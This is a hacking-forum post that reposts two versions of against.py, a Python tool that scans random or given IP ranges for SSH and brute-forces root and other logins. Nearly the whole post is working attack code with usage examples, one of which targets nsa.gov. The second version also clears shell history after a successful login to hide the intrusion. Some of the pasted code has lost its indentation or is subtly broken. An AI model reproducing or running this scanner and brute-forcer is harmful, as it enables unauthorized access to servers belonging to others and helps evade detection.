Jump to content
Fi8sVrs

against.py - SSH Brute Force

By Fi8sVrs, in Programe hacking

Recommended Posts

  • Active Members
Fi8sVrs Rookie

Fi8sVrs

Posted
  • Active Members
Posted (edited)

about:

#!/usr/bin/env python
# -*- coding: latin-1 -*- ######################################################
#                ____                     _ __                                 #
#     ___  __ __/ / /__ ___ ______ ______(_) /___ __                           #
#    / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // /                           #
#   /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, /                            #
#                                            /___/ team                        #
#                                                                              #
# against.py - mass scanning and brute-forcing script for ssh                  #
#                                                                              #
# FILE                                                                         #
# against.py                                                                   #
#                                                                              #
# DATE                                                                         #
# 2013-06-25                                                                   #
#                                                                              #
# DESCRIPTION                                                                  #
# 'against.py' is a very fast ssh attacking script which includes a            #
# multithreaded port scanning module (tcp connect) for discovering possible    #
# targets and a multithreaded brute-forcing module which attacks               #
# parallel (multiprocessing) all discovered hosts or given ip-adresses         #
# from a list.                                                                 #
#                                                                              #
# AUTHOR                                                                       #
# pigtail23 aka pgt                                                            #
#                                                                              #
################################################################################

against.py:

#!/usr/bin/env python

from socket import *

import multiprocessing

import threading

import time

import paramiko

import sys

import os

import logging

import argparse

import random

# print our nice banner ;)

def banner():

print '--==[ against.py by pigtail23@nullsecurity.net ]==--'

# print version

def version():

print '[+] against.py v0.1'

exit(0)

# checks if we can write to file which was given by parameter -o

def test_file(filename):

try:

outfile = open(filename, 'a')

outfile.close()

except:

print '[-] ERROR: Cannot write to file \'%s\'' % filename

exit(1)

# defines the command line parameter and help page

def argspage():

parser = argparse.ArgumentParser(

usage='\n\n ./%(prog)s -i <arg> | -r <arg> | -I <arg>',

formatter_class=argparse.RawDescriptionHelpFormatter,

epilog=

'examples:\n\n' \

' scanning and attacking random ips\n' \

' usage: ./%(prog)s -r 50 -L password.txt\n\n' \

' scanning and attacking an ip-range\n' \

' usage: ./%(prog)s -i 192.168.0.1-254 -u admin -l troll\n\n' \

' attack ips from file\n' \

' usage: ./%(prog)s -I ips.txt -L passwords.txt\n',

add_help=False

)

options = parser.add_argument_group('options', '')

options.add_argument('-i', default=False, metavar='<ip/range>',

help='ip-address/-range (e.g.: 192.168.0-3.1-254)')

options.add_argument('-I', default=False, metavar='<file>',

help='list of target ip-addresses')

options.add_argument('-r', default=False, metavar='<num>',

help='attack random hosts')

options.add_argument('-p', default=22, metavar='<num>',

help='port number of sshd (default: 22)')

options.add_argument('-t', default=4, metavar='<num>',

help='threads per host (default: 4)')

options.add_argument('-f', default=8, metavar='<num>',

help='attack max hosts parallel (default: 8)')

options.add_argument('-u', default='root', metavar='<username>',

help='single username (default: root)')

options.add_argument('-U', default=False, metavar='<file>',

help='list of usernames')

options.add_argument('-l', default='toor', metavar='<password>',

help='single password (default: toor)')

options.add_argument('-L', default=False, metavar='<file>',

help='list of passwords')

options.add_argument('-o', default=False, metavar='<file>',

help='write found logins to file')

options.add_argument('-T', default=3, metavar='<sec>',

help='timeout in seconds (default: 3)')

options.add_argument('-V', action='store_true',

help='print version of against.py and exit')

args = parser.parse_args()

if args.V:

version()

if (args.i == False) and (args.I == False) and (args.r == False):

print ''

parser.print_help()

exit(0)

return args

# connect to target and checks for an open port

def scan(target, port, timeout):

s = socket(AF_INET, SOCK_STREAM)

s.settimeout(timeout)

result = s.connect_ex((target, port))

s.close()

if result == 0:

HOSTLIST.append(target)

# creates 'x' numbers of threads and call scan()

def thread_scan(args, target):

port = int(args.p)

to = float(args.T)

bam = threading.Thread(target=scan, args=(target, port, to,))

bam.start()

# scanning with up to 200 threads for targets with open port

while threading.activeCount() > 200:

time.sleep(0.0001)

time.sleep(0.0001)

# only the output when scanning for targets

def scan_output(i):

sys.stdout.flush()

sys.stdout.write('\r[*] hosts scanned: {0} | ' \

'possible to attack: {1}'.format(i, len(HOSTLIST)))

# creates single ips by a given ip-range - parameter -i

def ip_range(args):

targets = args.i

a = tuple(part for part in targets.split('.'))

rsa = (range(4))

rsb = (range(4))

for i in range(0,4):

ga = a.find('-')

if ga != -1:

rsa = int(a[:ga])

rsb = int(a[1+ga:]) + 1

else:

rsa = int(a)

rsb = int(a) + 1

print '[*] scanning %s for ssh services' % targets

m = 0

for i in range (rsa[0], rsb[0]):

for j in range (rsa[1], rsb[1]):

for k in range (rsa[2], rsb[2]):

for l in range(rsa[3], rsb[3]):

target = '%d.%d.%d.%d' % (i, j, k, l)

m += 1

scan_output(m)

thread_scan(args, target)

# waiting for the last running threads

while threading.activeCount() > 1:

time.sleep(0.1)

scan_output(m)

print '\n[*] finished scan.'

# only refactor stuff

def rand():

return random.randrange(0,256)

# creates random ips

def rand_ip(args):

i = 0

print '[*] scanning random ips for ssh services'

while len(HOSTLIST) < int(args.r):

target = '%d.%d.%d.%d' % (rand(), rand(), rand(), rand())

i += 1

scan_output(i)

thread_scan(args, target)

# waiting for the last running threads

while threading.activeCount() > 1:

time.sleep(0.1)

scan_output(i)

print '\n[*] finished scan.'

# checks if given filename by parameter exists

def file_exists(filename):

try:

open(filename).readlines()

except IOError:

print '[-] ERROR: cannot open file \'%s\'' % filename

exit(1)

# read-in a file with ips

def ip_list(ipfile):

file_exists(ipfile)

hosts = open(ipfile).readlines()

for host in hosts:

HOSTLIST.append(host)

# write all found logins to file - parameter -o

def write_logins(filename, login):

outfile = open(filename, 'a')

outfile.write(login)

outfile.close()

# connect to target and try to login

def crack(target, prt, user, passw, outfile, to, i):

ssh = paramiko.SSHClient()

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

user = user.replace('\n', '')

passw = passw.replace('\n', '')

try:

ssh.connect(target, port=prt, username=user, password=passw, timeout=to)

#ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command('uname -a')

#print ssh_stdout

login = '[+] login found for %s | %s:%s' % (target, user, passw)

print login

if outfile:

write_logins(outfile, login + '\n')

ssh.close()

os._exit(0)

except paramiko.AuthenticationException:

ssh.close()

except:

ssh.close()

# after 8 timeouts per request the attack against $target will stopped

if i < 8:

i += 1

# reconnect after random seconds (between 0.2 and 0.5 sec)

ra = random.uniform(0.2, 0.6)

time.sleep(ra)

crack(target, prt, user, passw, outfile, to, i)

else:

print '[-] too much timeouts - stopped attack against %s' % (target)

os._exit(1)

# creates 'x' number of threads and call crack()

def thread_it(target, args):

port = int(args.p)

user = args.u

userlist = args.U

password = args.l

passlist = args.L

outfile = args.o

to = float(args.T)

threads = int(args.t)

if userlist:

user = open(userlist).readlines()

else:

user = [ user ]

if passlist:

password = open(passlist).readlines()

else:

password = [ password ]

# looks dirty but we need it :/

try:

for us in user:

for pw in password:

Run = threading.Thread(target=crack, args=(target, port, us, pw,

outfile, to, 0,))

Run.start()

# checks that we a max number of threads

while threading.activeCount() > threads:

time.sleep(0.01)

time.sleep(0.001)

# waiting for the last running threads

while threading.activeCount() > 1:

time.sleep(0.1)

except KeyboardInterrupt:

os._exit(1)

# create 'x' child processes (child == cracking routine for only one target)

def fork_it(args):

threads = int(args.t)

childs = int(args.f)

len_hosts = len(HOSTLIST)

print '[*] attacking %d target(s)\n' \

'[*] cracking up to %d hosts parallel\n' \

'[*] threads per host: %d' % (len_hosts, childs, threads)

i = 1

for host in HOSTLIST:

host = host.replace('\n', '')

print '[*] performing attacks against %s [%d/%d]' % (host, i, len_hosts)

hostfork = multiprocessing.Process(target=thread_it,

args=(host, args))

hostfork.start()

# checks that we have a max number of childs

while len(multiprocessing.active_children()) >= childs:

time.sleep(0.001)

time.sleep(0.001)

i += 1

# waiting for the last running childs

while multiprocessing.active_children():

time.sleep(1)

def empty_hostlist():

if len(HOSTLIST) == 0:

print '[-] found no targets to attack!'

exit(1)

# output when against.py finished all routines

def finished():

print '[*] game over!!! have fun with your new b0xes!'

def main():

banner()

args = argspage()

if args.U:

file_exists(args.U)

if args.L:

file_exists(args.L)

if args.o:

test_file(args.o)

if args.i:

ip_range(args)

elif args.I:

ip_list(args.I)

else:

rand_ip(args)

time.sleep(0.1)

empty_hostlist()

fork_it(args)

finished()

if __name__ == '__main__':

HOSTLIST = []

try:

logging.disable(logging.CRITICAL)

main()

except KeyboardInterrupt:

print '\nbye bye!!!'

time.sleep(0.2)

os._exit(1)

Modules need:

  • paramiko:

sudo apt-get install python-paramiko

  • argparse:

sudo apt-get install python-argparse

usage:

chmod u+x against.py


--==[ against.py by pigtail23@nullsecurity.net ]==--

   ./against.py -i <arg> | -r <arg> | -I <arg>

options:

  -i <ip/range>  ip-address/-range (e.g.: 192.168.0-3.1-254)
  -I <file>      list of target ip-addresses
  -r <num>       attack random hosts
  -p <num>       port number of sshd (default: 22)
  -t <num>       threads per host (default: 4)
  -f <num>       attack max hosts parallel (default: 8)
  -u <username>  single username (default: root)
  -U <file>      list of usernames
  -l <password>  single password (default: toor)
  -L <file>      list of passwords
  -o <file>      write found logins to file
  -T <sec>       timeout in seconds (default: 3)
  -V             print version of against.py and exit

examples:

  scanning and attacking random ips
  usage: ./against.py -r 50 -L password.txt

  scanning and attacking an ip-range
  usage: ./against.py -i 192.168.0.1-254 -u admin -l troll

  attack ips from file
  usage: ./against.py -I ips.txt -L passwords.txt

Source: nullsecurity

Edited by Fi8sVrs
  • Active Members
Fi8sVrs Rookie

Fi8sVrs

Posted
  • Author
  • Active Members
Posted

UPDATE v0.2



# CHANGELOG                                                             
# v0.2                                                                         
# - prints kernel version after login                                          
# - optimized timings when cracking                                            
# - detection for key authentication                                           
# - false positive / small honeypot detection                                  
# - save found target ip addresses to file, -O option                          
# - 127.x.x.x will be excluded when scanning for random ip addresses           
# - unsort found target ip addresses, because of sequential port scanning      
# - resolve ip address by given hostname                                       
# - stop attacks on target when keyboard-interactive is required               
# - set threads for port scanning, -s option

usage:

   ./against.py -i <arg> | -r <arg> | -I <arg>

options:


  -i <ip/range>  ip address/ip range/domain (e.g.: 192.168.0-3.1-254)
  -I <file>      list of targets
  -r <num>       attack random hosts
  -p <num>       port number of sshd (default: 22)
  -t <num>       threads per host (default: 4)
  -f <num>       attack max hosts parallel (default: 8)
  -u <username>  single username (default: root)
  -U <file>      list of usernames
  -l <password>  single password (default: toor)
  -L <file>      list of passwords
  -o <file>      write found logins to file
  -O <file>      write found target ip addresses to file
  -s <num>       threads when port scanning (default: 200)
  -T <sec>       timeout in seconds (default: 3)
  -V             print version of against.py and exit

examples:

attack single target

  usage: ./against.py -i nsa.gov -L passwords.txt

scanning and attacking an ip-range

  usage: ./against.py -i 192.168.0-10.1-254 -u admin -l troll -s 500

#!/usr/bin/env python
# -*- coding: latin-1 -*- 
from socket import *
import multiprocessing
import threading
import time
import paramiko
import sys
import os
import logging
import argparse
import random
import re
# version of against.py
VERSION = 'v0.2'
# print our nice banner ;)
def banner():
    print '--==[ against.py by pgt@nullsecurity.net ]==--'
# print version
def version():
    print '[+] against.py %s' % (VERSION)
    sys.exit(0)
# check if we can write to file
def test_file(filename):
    try:
        outfile = open(filename, 'a')
        outfile.close()
    except IOError:
        print '[!] ERROR: cannot write to file \'%s\'' % filename
        sys.exit(1)
# define command line parameters and help page
def argspage():
    parser = argparse.ArgumentParser(
    usage = '\n\n   ./%(prog)s -i <arg> | -r <arg> | -I <arg>',
    formatter_class = argparse.RawDescriptionHelpFormatter,
    epilog =
    'examples:\n\n'
    '  attack single target\n'
    '  usage: ./%(prog)s -i nsa.gov -L passwords.txt\n\n'
    '  scanning and attacking an ip-range\n'
    '  usage: ./%(prog)s -i 192.168.0-10.1-254 -u admin -l troll -s 500',
    add_help = False
    )
    options = parser.add_argument_group('options', '')
    options.add_argument('-i', default=False, metavar='<ip/range>',
            help='ip address/ip range/domain (e.g.: 192.168.0-3.1-254)')
    options.add_argument('-I', default=False, metavar='<file>',
            help='list of targets')
    options.add_argument('-r', default=False, metavar='<num>',
            help='attack random hosts')
    options.add_argument('-p', default=22, metavar='<num>',
            help='port number of sshd (default: 22)')
    options.add_argument('-t', default=4, metavar='<num>',
            help='threads per host (default: 4)')
    options.add_argument('-f', default=8, metavar='<num>',
            help='attack max hosts parallel (default: 8)')
    options.add_argument('-u', default='root', metavar='<username>',
            help='single username (default: root)')
    options.add_argument('-U', default=False, metavar='<file>',
            help='list of usernames')
    options.add_argument('-l', default='toor', metavar='<password>',
            help='single password (default: toor)')
    options.add_argument('-L', default=False, metavar='<file>',
            help='list of passwords')
    options.add_argument('-o', default=False, metavar='<file>',
            help='write found logins to file')
    options.add_argument('-O', default=False, metavar='<file>',
            help='write found target ip addresses to file')
    options.add_argument('-s', default=200, metavar='<num>',
            help='threads when port scanning (default: 200)')
    options.add_argument('-T', default=3, metavar='<sec>',
            help='timeout in seconds (default: 3)')
    options.add_argument('-V', action='store_true',
            help='print version of against.py and exit')
    args = parser.parse_args()
    if args.V:
        version()
    if (args.i == False) and (args.I == False) and (args.r == False):
        print ''
        parser.print_help()
        sys.exit(0)
    return args
# write found ip addresses / logins to file
def write_to_file(filename, text):
    outfile = open(filename, 'a')
    outfile.write(text)
    outfile.close()
# connect to target and checks for an open port
def scan(target, port, timeout, oips):
    sock = socket(AF_INET, SOCK_STREAM)
    sock.settimeout(timeout)
    result = sock.connect_ex((target, port))
    sock.close()
    if result == 0:
        HOSTLIST.append(target)
        if oips:
            write_to_file(oips, target + '\n')
# control the maximum number of threads
def active_threads(threads, waittime):
    while threading.activeCount() > threads:
        time.sleep(waittime)
# create thread and call scan()
def thread_scan(args, target):
    port = int(args.p)
    timeout = float(args.T)
    oips = args.O
    threads = int(args.s)
    bam = threading.Thread(target=scan, args=(target, port, timeout, oips))
    bam.start()
    active_threads(threads, 0.0001)
    time.sleep(0.001)
# only the output when scanning for targets
def scan_output(i):
    sys.stdout.flush()
    sys.stdout.write('\r[*] hosts scanned: {0} | ' \
            'possible to attack: {1}'.format(i, len(HOSTLIST)))
# handle format of given target(s)
def check_targets(targets):
    if re.match(r'^[0-9.\-]*$', targets):
        return targets
    try:
        target = gethostbyname(targets)
        return target
    except gaierror:
        print '[-] \'%s\' is unreachable' % (targets)
        finished()
        sys.exit(1)
# unsort found hosts, because of incremental scanning
def unsort_hostlist():
    print '[*] unsort host list'
    for i in range(15):
        random.shuffle(HOSTLIST)
# handle ip range format from command line
def handle_ip_range(iprange):
    parted = tuple(part for part in iprange.split('.'))
    rsa = range(4)
    rsb = range(4)
    for i in range(4):
        hyphen = parted.find('-')
        if hyphen != -1:
            rsa = int(parted[:hyphen])
            rsb = int(parted[1+hyphen:]) + 1
        else:
            rsa = int(parted)
            rsb = int(parted) + 1
    return (rsa, rsb)
# call thread_scan() with target ip addresses
def ip_range(args):
    targets = check_targets(args.i)
    rsa, rsb = handle_ip_range(targets)
    print '[*] scanning %s for ssh services' % targets
    counter = 0
    for i in range(rsa[0], rsb[0]):
        for j in range(rsa[1], rsb[1]):
            for k in range(rsa[2], rsb[2]):
                for l in range(rsa[3], rsb[3]):
                    target = '%d.%d.%d.%d' % (i, j, k, l)
                    counter += 1
                    scan_output(counter)
                    thread_scan(args, target)
    # waiting for the last running threads
    active_threads(1, 0.1)
    scan_output(counter)
    print '\n[*] finished scan'
# create ip addresses
def randip():
    rand = range(4)
    for i in range(4):
        rand = random.randrange(0, 256)
    # exclude 127.x.x.x
    if rand[0] == 127:
        randip()
    ipadd = '%d.%d.%d.%d' % (rand[0], rand[1], rand[2], rand[3])
    return ipadd
# create random ip addresses
def rand_ip(args):
    i = 0
    print '[*] scanning random ips for ssh services'
    while len(HOSTLIST) < int(args.r):
        i += 1
        scan_output(i)
        thread_scan(args, randip())
    # waiting for the last running threads
    active_threads(1, 1)
    scan_output(i)
    print '\n[*] finished scan.'
# checks if given filename by parameter exists
def file_exists(filename):
    try:
        open(filename).readlines()
    except IOError:
        print '[!] ERROR: cannot open file \'%s\'' % filename
        sys.exit(1)
# read-in a file with ip addresses
def ip_list(ipfile):
    file_exists(ipfile)
    targets = open(ipfile).readlines()
    for target in targets:
        HOSTLIST.append(target)
# connect to target and try to login
def crack(target, port, user, passwd, outfile, timeo, i):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    user = user.replace('\n', '')
    passwd = passwd.replace('\n', '')
    try:
        ssh.connect(target, port=port, username=user, password=passwd,
                timeout=timeo, pkey=None, allow_agent=False)
        time.sleep(3)
        try:
            ssh.exec_command('unset HISTFILE ; unset HISTSIZE')
            time.sleep(1)
            ssh_stdin, ssh_stdout, ssh_stderr = ssh.exec_command('uname -a ' \
                    '|| cat /proc/version')
            output = 'kernel: %s' \
                    % (ssh_stdout.readlines()[0].replace('\n', ''))
        except:
            output = 'info: maybe a honeypot or false positive'
        login = '[+] login found for %s | %s:%s\n' \
                '[!] %s' % (target, user, passwd, output)
        print login
        if outfile:
            write_to_file(outfile, login + '\n')
        ssh.close()
        os._exit(0)
    except paramiko.AuthenticationException, e:
        ssh.close()
        exception = str(e)
        if '[\'publickey\']' in exception:
            print '[-] key authentication only - ' \
                'stopped attack against %s' % (target)
            os._exit(1)
        elif '\'keyboard-interactive\'' in exception:
            print '[-] %s requires \'keyboard-interactive\' handler' % (target)
            os._exit(1)
    except:
        ssh.close()
        # after 3 timeouts per request the attack against $target will stopped
        if i < 3:
            i += 1
            # reconnect after random seconds (between 0.6 and 1.2 sec)
            randtime = random.uniform(0.6, 1.2)
            time.sleep(randtime)
            crack(target, port, user, passwd, outfile, timeo, i)
        else:
            print '[-] too many timeouts - stopped attack against %s' % (target)
            os._exit(1)
# create 'x' number of threads and call crack()
def thread_it(target, args):
    port = int(args.p)
    user = args.u
    userlist = args.U
    password = args.l
    passlist = args.L
    outfile = args.o
    timeout = float(args.T)
    threads = int(args.t)
    if userlist:
        users = open(userlist).readlines()
    else:
        users = [user]
    if passlist:
        passwords = open(passlist).readlines()
    else:
        passwords = [password]
    # try/except looks dirty but we need it :/
    try:
        for user in users:
            for password in passwords:
                Run = threading.Thread(target=crack, args=(target, port, user,
                    password, outfile, timeout, 0,))
                Run.start()
                # checks that we a max number of threads
                active_threads(threads, 0.01)
                time.sleep(0.1)
        # waiting for the last running threads
        active_threads(1, 1)
    except KeyboardInterrupt:
        os._exit(1)
# create 'x' child processes (child == cracking routine for only one target)
def fork_it(args):
    threads = int(args.t)
    childs = int(args.f)
    len_hosts = len(HOSTLIST)
    print '[*] attacking %d target(s)\n' \
            '[*] cracking up to %d hosts parallel\n' \
            '[*] threads per host: %d' % (len_hosts, childs, threads)
    i = 1
    for host in HOSTLIST:
        host = host.replace('\n', '')
        print '[*] performing attacks against %s [%d/%d]' % (host, i, len_hosts)
        hostfork = multiprocessing.Process(target=thread_it, args=(host, args))
        hostfork.start()
        # checks that we have a max number of childs
        while len(multiprocessing.active_children()) >= childs:
            time.sleep(0.001)
        time.sleep(0.001)
        i += 1
    # waiting for child processes
    while multiprocessing.active_children():
        time.sleep(1)
# \(0.o)/
def empty_hostlist():
    if len(HOSTLIST) == 0:
        print '[-] found no targets to attack!'
        finished()
        sys.exit(1)
# output when against.py finished all routines
def finished():
    print '[*] game over!!!'
def main():
    banner()
    args = argspage()
    if args.U:
        file_exists(args.U)
    if args.L:
        file_exists(args.L)
    if args.o:
        test_file(args.o)
    if args.O:
        test_file(args.O)
    if args.i:
        ip_range(args)
        unsort_hostlist()
    elif args.I:
        ip_list(args.I)
    else:
        rand_ip(args)
    time.sleep(0.1)
    empty_hostlist()
    fork_it(args)
    finished()
if __name__ == '__main__':
    HOSTLIST = []
    try:
        logging.disable(logging.CRITICAL)
        main()
    except KeyboardInterrupt:
        print '\nbye bye!!!'
        time.sleep(0.2)
        os._exit(1)
http://www.nullsecurity.net/tools/cracker/against.py



			
		


		
			

				
					
						

	
	
		

			
				
				

					
						

	
	
    
		
		
			
				
				
  • 
					
						
					
							
								Upvote
							
							
								1
							
					
						
					
				
    • 
			
		
	


					
				

			
			
			
		

	


					
				
				
			

		

		
	


	
    


	



					
				
			
			



		

	


	
	

	
		
		

			
				
				

	
		

			
Join the conversation

			

	
				
					You can post now and register later.
				
				If you have an account, sign in now to post with your account.
				
			

	
		

	




	
	
		
	
		
	
		
	
	
		
		
	
	

		

		


	
		Guest
	


		

			
				
					
				
					
						
    
							
  • 
								


	
	
	
	

								
							
    • 
						

					
				
					
				
			
			
				
					
						
							
						
						



    

		
		

			
		

		
			
 Reply to this topic...

		
		

			

				
					×
					  Pasted as rich text.   Paste as plain text instead
				
			

		

		

			

				  Only 75 emoji are allowed.
			

		

		

			

				×
				  Your link has been automatically embedded.   Display as a link instead
			

		

		

			

			

		

		

			

				×
				  Your previous content has been restored.   Clear editor
			

		

		

			

				×
				  You cannot paste images directly. Upload or insert images from URL.
			

		

		
	

		
	

	

	

		

			×
			
		

		

	



						
					
				
					
				
					
				
			
			
    
				
					
						
					
						
					
						
							
  • 
								


    
	

    

								
							
    • 
						
					
				
				
					
  • 

	

    • 
				
			

		

	



			
		

	

	
		

			


		

		

			



		

	







	

		
			
				Go to topic listing
			
		
	

	




	

	

	


	

	




								


							

							


						

					

					
				

				

				

			

		

		
		


	×
	

		

			

			

				

					
				


			

			
		

	






	×
	

		

			
    
				
  • Create New...
    •